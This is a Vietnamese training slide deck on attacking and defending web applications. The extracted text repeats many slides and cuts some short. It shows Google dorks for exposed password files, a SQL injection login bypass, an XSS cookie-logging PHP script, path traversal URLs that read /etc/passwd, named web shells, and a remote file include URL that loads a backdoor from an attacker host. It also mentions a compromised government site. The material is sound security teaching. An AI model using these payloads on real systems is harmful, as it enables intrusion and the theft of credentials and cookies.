Bài giảng Web application attack & defense gồm có những chủ đề chính sau: Web app, Webserver: Các khái niệm và mô hình; giới thiệu một số phương pháp attack cơ bản nhắm vào web app/webserver; phát hiện và phòng chống. Mời các bạn tham khảo.
Trang 1Web Application
Trang 2A Web app, Webserver: Các khái
niệm và mô hình
B Giới thiệu một số phương pháp
attack cơ bản nhắm vào web app/webserver
C Phát hiện và phòng chống
ATHENA
A Web app, Webserver: Các khái
niệm và mô hình
B Giới thiệu một số phương pháp
attack cơ bản nhắm vào web app/webserver
C Phát hiện và phòng chống
Trang 3A Web app, Webserver:
Các khái niệm và mô hình
Web application là gì?
Web app hay web service là một phần
mềm ứng dụng chạy phía server (thuộc
layer 7 trong mô hình OSI)
User có thể truy xuất web app bằng các
trình duyệt (web browser, telnet) hay
bằng các giao thức HTTP(s)
ATHENA
Web application là gì?
Web app hay web service là một phần
mềm ứng dụng chạy phía server (thuộc
layer 7 trong mô hình OSI)
User có thể truy xuất web app bằng các
trình duyệt (web browser, telnet) hay
bằng các giao thức HTTP(s)
2001(c)WhiteHat Security, Inc.
Trang 4A Web app, Webserver: Các khái niệm
và mô hình
• Một số trình duyệt thông dụng:
IE (internet explorer) FF( Mozilla Firefox) Opera
• Một số webserver thông dụng
IIS : www.microsoft.com Apache : www.apache.org Jrun : www.marcomedia.com Tomcat jakarta.apache.org
Iplanet webserver Cold Fusion Webserver
• Một số webserver thông dụng
IIS : www.microsoft.com Apache : www.apache.org Jrun : www.marcomedia.com Tomcat jakarta.apache.org
Iplanet webserver Cold Fusion Webserver
2001(c)WhiteHat Security, Inc.
Trang 5Mô hình chuẩn Web App
Web Server
DB Web
Client
Web app Web app
HTTP request (cleartext
or SSL)
SQL Databas e Firewall
• ADO,
• ODBC, etc.
• Apache
• IIS
• Netscape etc…
Trang 6ATHENA 2001(c)WhiteHat Security, Inc.
Trang 7ATHENA 2001(c)WhiteHat Security, Inc.
Trang 8ATHENA 2001(c)WhiteHat Security, Inc.
Trang 9B Giới thiệu một số phương pháp attack cơ bản nhắm vào web app/webserver
1 Google attack
2 SQL injection
3 Cross site scripting
4 Hidden form vulnerability
3 Cross site scripting
4 Hidden form vulnerability
Trang 10Website viện kinh tế thành phố Hồ Chí Minh bị tấncông, chiếm quyền kiểm soát
Demo:
ATHENA
Trang 11Google Attack
Sử dụng google để hack là một trong những phương pháp phổ biến của hacker nhằm tìm được những thông tin nhạy cảm từ victim
Phương pháp Google attack giúp cho
hacker có thể tìm ra thông tin những victim đã định trước (mục tiêu đã xác
định) hay hack hàng lọat những victim có lỗi tương tự (mục tiêu chưa xác định)
ATHENA
Sử dụng google để hack là một trong những phương pháp phổ biến của hacker nhằm tìm được những thông tin nhạy cảm từ victim
Phương pháp Google attack giúp cho
hacker có thể tìm ra thông tin những victim đã định trước (mục tiêu đã xác
định) hay hack hàng lọat những victim có lỗi tương tự (mục tiêu chưa xác định)
Trang 12Google attack (cont)
Một số keyword hay được sử dụng:
3 Port Scanning:
"VNC Desktop" inurl:5800Inurl:webmin inurl:10000ATHENA
Một số keyword hay được sử dụng:
3 Port Scanning:
"VNC Desktop" inurl:5800Inurl:webmin inurl:10000
Trang 13Google attack (cont)
Tìm link login:
Inurl:/admin/login.asp Inurl:/administrator/login.asp Inurl:/admin/admin_login.asp
…
Tìm thông tin chứa user/password:
"Index of" htpasswd / passwd filetype:xls username password email
"WS_FTP.LOG"
"config.php"
allinurl: admin mdb service filetype:pwd (FrontPage) Inurl:/admin.mdb
Filetype:mdb user password
ATHENA
Tìm link login:
Inurl:/admin/login.asp Inurl:/administrator/login.asp Inurl:/admin/admin_login.asp
…
Tìm thông tin chứa user/password:
"Index of" htpasswd / passwd filetype:xls username password email
"WS_FTP.LOG"
"config.php"
allinurl: admin mdb service filetype:pwd (FrontPage) Inurl:/admin.mdb
Filetype:mdb user password
Trang 14SQL injection injection
Lỗi này thường xảy ra trên các ứng dụng
web có csdl được quản lý bằng các hệ cơ
sở dữ liệu như SQL Server, Mysql,
Oracle, DB2, Sysbase, MsAccess…
Mỗi hệ quản trị csdl có một số điểm giống và khác nhau giữa các phương
pháp injection
Trong bài báo cáo này xin trình bày
phương pháp injection trong hệ quản trị
csdl phổ biến nhất thế giới: MSSQL
ATHENA
Lỗi này thường xảy ra trên các ứng dụng
web có csdl được quản lý bằng các hệ cơ
sở dữ liệu như SQL Server, Mysql,
Oracle, DB2, Sysbase, MsAccess…
Mỗi hệ quản trị csdl có một số điểm giống và khác nhau giữa các phương
pháp injection
Trong bài báo cáo này xin trình bày
phương pháp injection trong hệ quản trị
csdl phổ biến nhất thế giới: MSSQL2001(c)WhiteHat Security, Inc.
Trang 15Các dạng tấn công SQL injection
SQL bypass:
Login.htm
<form action="ExecLogin.asp" method="post">
Username: <input type="text"
<form action="ExecLogin.asp" method="post">
Username: <input type="text"
Trang 16 strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
Trang 17 (Xem video demo SQL bypass vienkinhte.gov.vn)
2001(c)WhiteHat Security, Inc.
Trang 18- Store procedure injection, kĩ thuật nâng quyền
user,giới thiệu về kĩ thuật runtime patching
- Upload backdoor
(phần này khá dài,demo hòan tòan bằng Video)
(xem video sql_ij_basic, sql_ij_admin)
- Store procedure injection, kĩ thuật nâng quyền
user,giới thiệu về kĩ thuật runtime patching
- Upload backdoor
(phần này khá dài,demo hòan tòan bằng Video)
(xem video sql_ij_basic, sql_ij_admin)
2001(c)WhiteHat Security, Inc.
Trang 19Cross site scripting site scripting
Cross site scripting là gì?
- Cross site scripting viết tắt là XSS (để tránh nhầm
lẫn với CSS) là một dạng tấn công hướng về phía
User (Client) mà ko tác động trực tiếp đếnwebserver
- Hacker thường lợi dụng XSS để đánh cắp cookie
của user, phising etc…
- Tuy nhiên vẫn có trường hợp ngọai lệ Hacker vẫn
có thể xử dụng XSS để get root server (xemIplanet server attack)
ATHENA
Cross site scripting là gì?
- Cross site scripting viết tắt là XSS (để tránh nhầm
lẫn với CSS) là một dạng tấn công hướng về phía
User (Client) mà ko tác động trực tiếp đếnwebserver
- Hacker thường lợi dụng XSS để đánh cắp cookie
của user, phising etc…
- Tuy nhiên vẫn có trường hợp ngọai lệ Hacker vẫn
có thể xử dụng XSS để get root server (xemIplanet server attack)
2001(c)WhiteHat Security, Inc.
Trang 20Cross site scripting
+ inject đọan script
+ <script>alert(‘test’)</script> vào bất cứ
đâu cho phép user input data (Url,
Feedback, Form, Search, cookie…etc) + Nếu thấy xuất hiện ra một pop-up ‘test’ thì có nghĩa là website đã bị dính XSS
+ Đọan code trên không phải là cách test chung, nhiều trường hợp phải view source hoặc mã hóa để vượt qua filter.
ATHENA
+ inject đọan script
+ <script>alert(‘test’)</script> vào bất cứ
đâu cho phép user input data (Url,
Feedback, Form, Search, cookie…etc) + Nếu thấy xuất hiện ra một pop-up ‘test’ thì có nghĩa là website đã bị dính XSS
+ Đọan code trên không phải là cách test chung, nhiều trường hợp phải view source hoặc mã hóa để vượt qua filter.
Trang 21Cross site scripting
+ Attacker viết một đọan mã để get cookie của
victim như sau:
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookies11.txt","a");
//cookies11.txt //chmod 777 fwrite($log, $cookie "\n");
fclose($log);
?>
ATHENA
+ Attacker viết một đọan mã để get cookie của
victim như sau:
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookies11.txt","a");
//cookies11.txt //chmod 777 fwrite($log, $cookie "\n");
fclose($log);
?> 2001(c)WhiteHat Security, Inc.
Trang 22Cross site scripting
- Sau đó up lên 1 hosting của hacker
</script>
- Sau đó bằng vài phương pháp phising, sau khi victim đã đăng nhập và đọc bài viết (hoặc click vào URL) của hacker đã gửi, lập tức cookie của victim đã đc ghi vào file cookie11.txt của hacker.Công việc còn lại của Hacker khá đơn giản:fake cookie và truy xuất tài nguyên của website với quyền của user vừa chiếm được
</script>
- Sau đó bằng vài phương pháp phising, sau khi victim đã đăng nhập và đọc bài viết (hoặc click vào URL) của hacker đã gửi, lập tức cookie của victim đã đc ghi vào file cookie11.txt của hacker.Công việc còn lại của Hacker khá đơn giản:fake cookie và truy xuất tài nguyên của website với quyền của user vừa chiếm được
2001(c)WhiteHat Security, Inc.
Trang 23Hidden form vulnerability form vulnerability
Hidden form vulnerability là gì?
- Là một dạng truyền biến của webapplication, coder không muốn cho user can thiệp trong quá trình
truyền biến
- Hidden form có dạng:
<input type="hidden" value="13.95" name="jac_minReqTotal"> <input type="hidden" value="1" name="jac_minReqUnits"> <input type="hidden" value="0" name="jac_minReqWeight">
- Vậy điều gì xảy ra nếu như các biến trong hidden form không được check một cách chặt chẽ khi user submit? Hacker sẽ lợi dụng điều này như thế nào?!? (xem video hiden_form_demo)
ATHENA
Hidden form vulnerability là gì?
- Là một dạng truyền biến của webapplication, coder không muốn cho user can thiệp trong quá trình
truyền biến
- Hidden form có dạng:
<input type="hidden" value="13.95" name="jac_minReqTotal"> <input type="hidden" value="1" name="jac_minReqUnits"> <input type="hidden" value="0" name="jac_minReqWeight">
- Vậy điều gì xảy ra nếu như các biến trong hidden form không được check một cách chặt chẽ khi user submit? Hacker sẽ lợi dụng điều này như thế nào?!? (xem video hiden_form_demo)
2001(c)WhiteHat Security, Inc.
Trang 24Cookies injection injection
Cookie là gì?
- Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ
giữa web site và browser của người dùng cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k) Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin
về người dùng đã ghé thăm site và những vùng mà họ đi qua
(Xem video cookie_injection)
ATHENA
Cookie là gì?
- Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ
giữa web site và browser của người dùng cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k) Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin
về người dùng đã ghé thăm site và những vùng mà họ đi qua
(Xem video cookie_injection) 2001(c)WhiteHat Security, Inc.
Trang 25Flood database/ Flood form là gì:
- Đây thực ra không phải là một phương pháp hacking,
có thể tạm xếp vào là một trong những hình thức DoS,
nhưng đây là hình thức DoS vào database
- Cách thức tấn công: Hacker tạo ra những script để post
một cách tự động vào forum, create member, search
form, feedback đến một lúc nào đó thì webserver củavictim cạn kiệt bandwitch hay sự nở ra liên tục của DB
khiến dung lượng ổ cứng của victim bị full và crash cả
hệ thống
- Xem Flood blog_yahoo_demo
ATHENA
Flood database/ Flood form là gì:
- Đây thực ra không phải là một phương pháp hacking,
có thể tạm xếp vào là một trong những hình thức DoS,
nhưng đây là hình thức DoS vào database
- Cách thức tấn công: Hacker tạo ra những script để post
một cách tự động vào forum, create member, search
form, feedback đến một lúc nào đó thì webserver củavictim cạn kiệt bandwitch hay sự nở ra liên tục của DB
khiến dung lượng ổ cứng của victim bị full và crash cả
hệ thống
- Xem Flood blog_yahoo_demo
2001(c)WhiteHat Security, Inc.
Trang 266 Local attack
- Là phương pháp attack khi hacker hosting cùng server
với victim
- Công cụ sử dụng chủ yếu là dùng script backdoor
(như r57shell.php, c99.php, remview.php) hay đối với
ASP là (Ntdady.asp, 4in1.asp )
- Phương pháp này rất lợi hại, biến hóa khôn lường
- Rất nhiều Hosting trên thế giới bị exploit qua phươngpháp này, ngay cả một số Hosting nổi tiếng củavietnam cũng bị (VDC, FPT…etc)
(xem demo local_basic_att, hosting.vnn.vn,
root_linux)
ATHENA
- Là phương pháp attack khi hacker hosting cùng server
với victim
- Công cụ sử dụng chủ yếu là dùng script backdoor
(như r57shell.php, c99.php, remview.php) hay đối với
ASP là (Ntdady.asp, 4in1.asp )
- Phương pháp này rất lợi hại, biến hóa khôn lường
- Rất nhiều Hosting trên thế giới bị exploit qua phươngpháp này, ngay cả một số Hosting nổi tiếng củavietnam cũng bị (VDC, FPT…etc)
(xem demo local_basic_att, hosting.vnn.vn,
root_linux)
Trang 27được đường dẫn của victim)
- Tuy nhiên đôi khi lại khá nguy hiểm nếu để lộ ra
đường dẫn dẫn đến folder chứa database.
- Riêng trường hợp parsing exploit cần kết hợp cả 2
điều kiện là webserver xài IIS 5.x và phân ASP
coding bị lỗi khi sử dụng phương pháp Server.MapPath
được đường dẫn của victim)
- Tuy nhiên đôi khi lại khá nguy hiểm nếu để lộ ra
đường dẫn dẫn đến folder chứa database.
- Riêng trường hợp parsing exploit cần kết hợp cả 2
điều kiện là webserver xài IIS 5.x và phân ASP
coding bị lỗi khi sử dụng phương pháp Server.MapPath
(xem parsing_exploit)
Trang 28Dictionary Traversal Traversal
- Hay còn gọi là Path tranversal, mức độ nguy hiểm còn tùy thuộc vào nhiều tình
huống cụ thể
- Xét vd:
Giả sử có 1 site bán máy nọ cho phép
client download các file tài liệu hướng dẫn
sử dụng sản phẩm Họ dùng 1 file
download.php và sử dụng như sau:
http:// [target.com]/download/download.ph p?file=xyz.pdf
Giả sử có 1 site bán máy nọ cho phép
client download các file tài liệu hướng dẫn
sử dụng sản phẩm Họ dùng 1 file
download.php và sử dụng như sau:
http:// [target.com]/download/download.ph p?file=xyz.pdf
Trang 29filename=$name");
Trang 30Dictionary Traversal (cont) Traversal (cont)
Lúc đó hacker sẽ khai thác theo kiểu
http://[target.com]/download/download.php?file= / /config.php
http://[target.com]/download/download.php?file= /db.php
http://[target.com]/download/download.php?file= / / /etc/passwd
Lúc đó hacker sẽ down được những file chứa thông tin
rất nhạy cảm như VD trên là config.php,db.php (chứa
thông tin connect đến database etc) hay /etc/passwd
chứa thông tin về user/pass shadow họăc chưa shadow
etc
ATHENA
Lúc đó hacker sẽ khai thác theo kiểu
http://[target.com]/download/download.php?file= / /config.php
http://[target.com]/download/download.php?file= /db.php
http://[target.com]/download/download.php?file= / / /etc/passwd
Lúc đó hacker sẽ down được những file chứa thông tin
rất nhạy cảm như VD trên là config.php,db.php (chứa
thông tin connect đến database etc) hay /etc/passwd
chứa thông tin về user/pass shadow họăc chưa shadow
etc
Trang 31Remote include file include file
- Là một lỗi thông dụng trong các ứng dụng web đượcviết bằng PHP
- Có liên quan mật thiết đến phương pháp local attack
- Lợi dụng sự bất cẩn của Programmer khi dùng hàminclude() hay require() trong PHP
- Có liên quan mật thiết đến phương pháp local attack
- Lợi dụng sự bất cẩn của Programmer khi dùng hàminclude() hay require() trong PHP
Trang 32Remote include file include file
Khi đó hacker sẽ include vào 1 file:
http://www.[target].com/test.php?ex=http://www.[attacker].com/ Khi đó link sẽ include là
http://www.[attacker].com/index.php
Index.php khi đó là một backdoor được lưu ở host hacker (host
của hacker ko support php)
Hoặc attacker có thể dùng cách khác
http://www.[target].com/test.php?ex=http://www.[attacker].com/ backdoor.php
(đằng sau dấu ? Sẽ ignore tất cả, trường hợp này là ignore /index.php có sẵn trong code test.php của victim)
ATHENA
Khi đó hacker sẽ include vào 1 file:
http://www.[target].com/test.php?ex=http://www.[attacker].com/ Khi đó link sẽ include là
http://www.[attacker].com/index.php
Index.php khi đó là một backdoor được lưu ở host hacker (host
của hacker ko support php)
Hoặc attacker có thể dùng cách khác
http://www.[target].com/test.php?ex=http://www.[attacker].com/ backdoor.php
(đằng sau dấu ? Sẽ ignore tất cả, trường hợp này là ignore /index.php có sẵn trong code test.php của victim)